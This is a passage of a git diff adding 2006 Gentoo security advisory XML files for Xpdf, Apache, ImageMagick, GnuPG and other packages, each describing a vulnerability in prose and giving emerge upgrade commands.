+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.01-r5&quot;</code>
+    <p>
+    All Poppler users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/poppler-0.4.3-r4&quot;</code>
+    <p>
+    All GPdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gpdf-2.10.0-r3&quot;</code>
+    <p>
+    All libextractor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libextractor-0.5.9&quot;</code>
+    <p>
+    All pdftohtml users should migrate to the latest stable version
+    of Poppler.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3627">CVE-2005-3627</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3626">CVE-2005-3626</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3625">CVE-2005-3625</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3624">CVE-2005-3624</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 16 Jan 2006 22:04:57 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Jan 2006 03:14:48 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 29 Jan 2006 17:26:11 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-01.xml b/xml/htdocs/security/en/glsa/glsa-200602-01.xml
new file mode 100644
index 00000000..14a3f158
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-01.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-01">
+  <title>GStreamer FFmpeg plugin: Heap-based buffer overflow</title>
+  <synopsis>
+    The GStreamer FFmpeg plugin is vulnerable to a buffer overflow that may be
+    exploited by attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">gst-plugins-ffmpeg</product>
+  <announced>February 05, 2006</announced>
+  <revised>February 05, 2006: 01</revised>
+  <bug>119512</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-plugins/gst-plugins-ffmpeg" auto="yes" arch="*">
+      <unaffected range="ge">0.8.7-r1</unaffected>
+      <vulnerable range="lt">0.8.7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GStreamer FFmpeg plugin uses code from the FFmpeg library to
+    provide fast colorspace conversion and multimedia decoders to the
+    GStreamer open source media framework.
+    </p>
+  </background>
+  <description>
+    <p>
+    The GStreamer FFmpeg plugin contains derived code from the FFmpeg
+    library, which is vulnerable to a heap overflow in the
+    "avcodec_default_get_buffer()" function discovered by Simon Kilvington
+    (see GLSA 200601-06).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run an application using
+    the GStreamer FFmpeg plugin on a maliciously crafted PIX_FMT_PAL8
+    format image file (like PNG images), possibly leading to the execution
+    of arbitrary code with the permissions of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GStreamer FFmpeg plugin users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-plugins/gst-plugins-ffmpeg-0.8.7-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4048">CVE-2005-4048</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200601-06.xml">GLSA 200601-06</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 29 Jan 2006 21:54:38 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 31 Jan 2006 03:13:44 +0000">
+    adir
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 01 Feb 2006 15:27:50 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-02.xml b/xml/htdocs/security/en/glsa/glsa-200602-02.xml
new file mode 100644
index 00000000..8b9608af
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-02.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-02">
+  <title>ADOdb: PostgresSQL command injection</title>
+  <synopsis>
+    ADOdb is vulnerable to SQL injections if used in conjunction with a
+    PostgreSQL database.
+  </synopsis>
+  <product type="ebuild">ADOdb</product>
+  <announced>February 06, 2006</announced>
+  <revised>February 06, 2006: 01</revised>
+  <bug>120215</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/adodb" auto="yes" arch="*">
+      <unaffected range="ge">4.71</unaffected>
+      <vulnerable range="lt">4.71</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ADOdb is an abstraction library for PHP creating a common API for
+    a wide range of database backends.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andy Staudacher discovered that ADOdb does not properly sanitize
+    all parameters.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending specifically crafted requests to an application that
+    uses ADOdb and a PostgreSQL backend, an attacker might exploit the flaw
+    to execute arbitrary SQL queries on the host.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ADOdb users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/adodb-4.71&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0410">CVE-2006-0410</uri>
+  </references>
+  <metadata tag="bugReady" timestamp="Sat, 04 Feb 2006 17:34:56 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 06 Feb 2006 08:23:05 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-03.xml b/xml/htdocs/security/en/glsa/glsa-200602-03.xml
new file mode 100644
index 00000000..01591086
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-03.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-03">
+  <title>Apache: Multiple vulnerabilities</title>
+  <synopsis>
+    Apache can be exploited for cross-site scripting attacks and is vulnerable
+    to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>February 06, 2006</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>115324</bug>
+  <bug>118875</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.55-r1</unaffected>
+      <unaffected range="rge">2.0.54-r16</unaffected>
+      <unaffected range="eq">1.3.34-r2</unaffected>
+      <unaffected range="rge">1.3.34-r11</unaffected>
+      <unaffected range="rge">1.3.37</unaffected>
+      <vulnerable range="lt">2.0.55-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    Internet. mod_imap provides support for server-side image maps; mod_ssl
+    provides secure HTTP connections.
+    </p>
+  </background>
+  <description>
+    <p>
+    Apache's mod_imap fails to properly sanitize the "Referer" directive of
+    imagemaps in some cases, leaving the HTTP Referer header unescaped. A
+    flaw in mod_ssl can lead to a NULL pointer dereference if the site uses
+    a custom "Error 400" document. These vulnerabilities were reported by
+    Marc Cox and Hartmut Keil, respectively.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit mod_imap to inject arbitrary HTML or
+    JavaScript into a user's browser to gather sensitive information.
+    Attackers could also cause a Denial of Service on hosts using the SSL
+    module (Apache 2.0.x only).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version, depending on
+    whether they still use the old configuration style
+    (/etc/apache/conf/*.conf) or the new one (/etc/apache2/httpd.conf).
+    </p>
+    <p>
+    2.0.x users, new style config:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.0.55-r1&quot;</code>
+    <p>
+    2.0.x users, old style config:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=www-servers/apache-2.0.54-r16&quot;</code>
+    <p>
+    1.x users, new style config:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=www-servers/apache-1.3.34-r11&quot;</code>
+    <p>
+    1.x users, old style config:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=www-servers/apache-1.3.34-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3352">CVE-2005-3352</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3357">CVE-2005-3357</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 23 Jan 2006 08:56:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 27 Jan 2006 06:31:39 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 06 Feb 2006 06:26:14 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-04.xml b/xml/htdocs/security/en/glsa/glsa-200602-04.xml
new file mode 100644
index 00000000..15376b59
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-04.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-04">
+  <title>Xpdf, Poppler: Heap overflow</title>
+  <synopsis>
+    Xpdf and Poppler are vulnerable to a heap overflow that may be exploited to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xpdf poppler</product>
+  <announced>February 12, 2006</announced>
+  <revised>February 12, 2006: 01</revised>
+  <bug>120985</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.01-r7</unaffected>
+      <vulnerable range="lt">3.01-r7</vulnerable>
+    </package>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.5.0-r4</unaffected>
+      <vulnerable range="lt">0.5.0-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf is a PDF file viewer that runs under the X Window System.
+    Poppler is a PDF rendering library based on the Xpdf 3.0 code base.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dirk Mueller has reported a vulnerability in Xpdf. It is caused by
+    a missing boundary check in the splash rasterizer engine when handling
+    PDF splash images with overly large dimensions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted PDF file to a victim, an attacker
+    could cause an overflow, potentially resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.01-r7&quot;</code>
+    <p>
+    All Poppler users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/poppler-0.5.0-r4&quot;</code>
+    <p>
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0301">CVE-2006-0301</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 08 Feb 2006 03:05:29 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 08 Feb 2006 03:06:48 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-05.xml b/xml/htdocs/security/en/glsa/glsa-200602-05.xml
new file mode 100644
index 00000000..ce9c63ff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-05.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-05">
+  <title>KPdf: Heap based overflow</title>
+  <synopsis>
+    KPdf includes vulnerable Xpdf code to handle PDF files, making it
+    vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">kdegraphics, kpdf</product>
+  <announced>February 12, 2006</announced>
+  <revised>February 12, 2006: 01</revised>
+  <bug>121375</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.4.3-r4</unaffected>
+      <vulnerable range="lt">3.4.3-r4</vulnerable>
+    </package>
+    <package name="kde-base/kpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.4.3-r4</unaffected>
+      <vulnerable range="lt">3.4.3-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KPdf is a KDE-based PDF viewer included in the kdegraphics
+    package.
+    </p>
+  </background>
+  <description>
+    <p>
+    KPdf includes Xpdf code to handle PDF files. Dirk Mueller
+    discovered that the Xpdf code is vulnerable a heap based overflow in
+    the splash rasterizer engine.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted PDF
+    file with Kpdf, potentially resulting in the execution of arbitrary
+    code with the rights of the user running the affected application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdegraphics users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-3.4.3-r4&quot;</code>
+    <p>
+    All Kpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kpdf-3.4.3-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0301">CVE-2006-0301</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20060202-1.txt">KDE Security Advisory: kpdf/xpdf heap based buffer overflow</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 10 Feb 2006 17:37:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Feb 2006 21:32:42 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-06.xml b/xml/htdocs/security/en/glsa/glsa-200602-06.xml
new file mode 100644
index 00000000..92a1d435
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-06.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-06">
+  <title>ImageMagick: Format string vulnerability</title>
+  <synopsis>
+    A vulnerability in ImageMagick allows attackers to crash the application
+    and potentially execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">ImageMagick</product>
+  <announced>February 13, 2006</announced>
+  <revised>February 13, 2006: 01</revised>
+  <bug>83542</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.2.5.5</unaffected>
+      <vulnerable range="lt">6.2.5.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is an application suite to manipulate and convert
+    images. It is often used as a utility backend by web applications like
+    forums, content management systems or picture galleries.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SetImageInfo function was found vulnerable to a format string
+    mishandling. Daniel Kobras discovered that the handling of "%"-escaped
+    sequences in filenames passed to the function is inadequate. This is a
+    new vulnerability that is not addressed by GLSA 200503-11.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By feeding specially crafted file names to ImageMagick, an
+    attacker can crash the program and possibly execute arbitrary code with
+    the privileges of the user running ImageMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.2.5.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0082">CVE-2006-0082</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200503-11.xml">GLSA 200503-11</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 01 Feb 2006 19:11:00 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 02 Feb 2006 08:22:50 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 09 Feb 2006 18:59:37 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-07.xml b/xml/htdocs/security/en/glsa/glsa-200602-07.xml
new file mode 100644
index 00000000..5d0eeae4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-07.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-07">
+  <title>Sun JDK/JRE: Applet privilege escalation</title>
+  <synopsis>
+    Sun's Java Development Kit (JDK) and Java Runtime Environment (JRE) do not
+    adequately constrain applets from privilege escalation and arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">Sun JDK, applet</product>
+  <announced>February 15, 2006</announced>
+  <revised>February 15, 2006: 01</revised>
+  <bug>122156</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.10</unaffected>
+      <vulnerable range="lt">1.4.2.10</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.10</unaffected>
+      <vulnerable range="lt">1.4.2.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sun's JDK and JRE provide interpreters for Java Applets in a
+    sandboxed environment. These implementations provide the Java Web Start
+    technology that can be used for easy client-side deployment of Java
+    applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Applets executed using JRE or JDK can use "reflection" APIs
+    functions to elevate its privileges beyond the sandbox restrictions.
+    Adam Gowdiak discovered five vulnerabilities that use this method for
+    privilege escalation. Two more vulnerabilities were discovered by the
+    vendor. Peter Csepely discovered that Web Start Java applications also
+    can an escalate their privileges.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious Java applet can bypass Java sandbox restrictions and
+    hence access local files, connect to arbitrary network locations and
+    execute arbitrary code on the user's machine. Java Web Start
+    applications are affected likewise.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Select another Java implementation using java-config.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.4.2.10&quot;</code>
+    <p>
+    All Sun JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.4.2.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sunsolve.sun.com/search/document.do?assetkey=1-26-102170-1">Sun Security Alert ID 102170</uri>
+    <uri link="http://sunsolve.sun.com/search/document.do?assetkey=1-26-102171-1">Sun Security Alert ID 102171</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0614">CVE-2006-0614</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0615">CVE-2006-0615</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0616">CVE-2006-0616</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0617">CVE-2006-0617</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 09 Feb 2006 20:48:45 +0000">
+    dragonheart
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Feb 2006 13:04:50 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-08.xml b/xml/htdocs/security/en/glsa/glsa-200602-08.xml
new file mode 100644
index 00000000..d4139864
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-08.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-08">
+  <title>libtasn1, GNU TLS: Security flaw in DER decoding</title>
+  <synopsis>
+    A flaw in the parsing of Distinguished Encoding Rules (DER) has been
+    discovered in libtasn1, potentially resulting in the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">libtasn1</product>
+  <announced>February 16, 2006</announced>
+  <revised>February 16, 2006: 01</revised>
+  <bug>122307</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libtasn1" auto="yes" arch="*">
+      <unaffected range="ge">0.2.18</unaffected>
+      <vulnerable range="lt">0.2.18</vulnerable>
+    </package>
+    <package name="net-libs/gnutls" auto="yes" arch="*">
+      <unaffected range="ge">1.2.10</unaffected>
+      <vulnerable range="lt">1.2.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Libtasn1 is a library used to parse ASN.1 (Abstract Syntax
+    Notation One) objects, and perform DER (Distinguished Encoding Rules)
+    decoding. Libtasn1 is included with the GNU TLS library, which is used
+    by applications to provide a cryptographically secure communications
+    channel.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evgeny Legerov has reported a flaw in the DER decoding routines
+    provided by libtasn1, which could cause an out of bounds access to
+    occur.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could cause an application using libtasn1 to
+    crash and potentially execute arbitrary code by sending specially
+    crafted input.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libtasn1 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libtasn1-0.2.18&quot;</code>
+    <p>
+    All GNU TLS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/gnutls-1.2.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0645">CVE-2006-0645</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 13 Feb 2006 20:11:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 13 Feb 2006 20:11:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 14 Feb 2006 22:53:09 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-09.xml b/xml/htdocs/security/en/glsa/glsa-200602-09.xml
new file mode 100644
index 00000000..384958de
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-09.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-09">
+  <title>BomberClone: Remote execution of arbitrary code</title>
+  <synopsis>
+    BomberClone is vulnerable to a buffer overflow which may lead to remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">games-action/bomberclone</product>
+  <announced>February 16, 2006</announced>
+  <revised>February 16, 2006: 01</revised>
+  <bug>121605</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-action/bomberclone" auto="yes" arch="*">
+      <unaffected range="ge">0.11.6.2-r1</unaffected>
+      <vulnerable range="lt">0.11.6.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BomberClone is a remake of the classic game "BomberMan". It
+    supports multiple players via IP network connection.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius of the Gentoo Security team discovered multiple
+    missing buffer checks in BomberClone's code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending overly long error messages to the game via network, a
+    remote attacker may exploit buffer overflows to execute arbitrary code
+    with the rights of the user running BomberClone.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BomberClone users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-action/bomberclone-0.11.6.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0460">CVE-2006-0460</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Feb 2006 17:56:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Feb 2006 17:58:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 15 Feb 2006 11:54:36 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-10.xml b/xml/htdocs/security/en/glsa/glsa-200602-10.xml
new file mode 100644
index 00000000..796aac90
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-10.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-10">
+  <title>GnuPG: Incorrect signature verification</title>
+  <synopsis>
+    Applications relying on GnuPG to authenticate digital signatures may
+    incorrectly believe a signature has been verified.
+  </synopsis>
+  <product type="ebuild">gnupg</product>
+  <announced>February 18, 2006</announced>
+  <revised>February 18, 2006: 01</revised>
+  <bug>122721</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/gnupg" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.1</unaffected>
+      <vulnerable range="lt">1.4.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuPG (The GNU Privacy Guard) is a free replacement for PGP
+    (Pretty Good Privacy). As GnuPG does not rely on any patented
+    algorithms, it can be used without any restrictions. gpgv is the
+    OpenPGP signature verification tool provided by the GnuPG system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Auditing Team
+    discovered that automated systems relying on the return code of GnuPG
+    or gpgv to authenticate digital signatures may be misled by malformed
+    signatures. GnuPG documentation states that a return code of zero (0)
+    indicates success, however gpg and gpgv may also return zero if no
+    signature data was found in a detached signature file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to bypass authentication in automated
